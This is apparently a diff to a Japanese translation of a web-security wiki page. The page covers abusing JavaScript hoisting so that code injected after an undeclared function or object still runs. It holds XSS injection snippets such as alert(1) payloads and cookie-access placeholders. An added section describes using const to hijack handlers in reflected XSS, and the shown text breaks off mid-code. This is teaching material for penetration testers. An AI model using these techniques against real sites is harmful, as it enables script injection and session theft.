-詳細には、関数宣言はタイプ1のホイスティング動作を示します。`var`キーワードはタイプ2の動作を示します。`let`、`const`、および`class`を含むレキシカル宣言はタイプ3の動作を示します。最後に、`import`文は、タイプ1とタイプ4の両方の動作でホイスティングされる点でユニークです。 +詳細では、function 宣言は type 1 の hoisting 挙動を示します。`var` キーワードは type 2 の挙動を示します。`let`、`const`、および `class` を含むレキシカル宣言は type 3 の挙動を示します。最後に、`import` 文は type 1 と type 4 の両方の挙動で hoist される点が特殊です。 ## シナリオ -したがって、**未宣言のオブジェクト**が使用された後に**JSコードを注入できる**シナリオがある場合、宣言することで構文を**修正**できる(エラーを投げるのではなく、あなたのコードが実行されるように): +したがって、未宣言のオブジェクトが使用された後に **Inject JS code after an undeclared object** できるような状況がある場合、宣言を追加して **fix the syntax** すれば(エラーを投げる代わりに)あなたのコードが実行されるようにできます: ```javascript // The function vulnerableFunction is not defined vulnerableFunction('test', ''); @@ -68,7 +68,7 @@ alert(1); test.cookie("leo", "INJECTION") test[("cookie", "injection")] ``` -## さらなるシナリオ +## その他のシナリオ ```javascript // Undeclared var accessing to an undeclared method x.y(1,INJECTION) @@ -127,11 +127,31 @@ alert(1) - }, }) } +trigger() ``` +### constで名前をロックして後の宣言を先取りする + +トップレベルの `function foo(){...}` がパースされる前に実行できる場合、同じ名前でレキシカル束縛(例: `const foo = ...`)を宣言すると、後でその関数宣言がその識別子に再バインドするのを防げます。これはRXSSで悪用され、ページ後半に定義された重要なハンドラを乗っ取るために使えます: +```javascript +// Malicious code runs first (e.g., earlier inline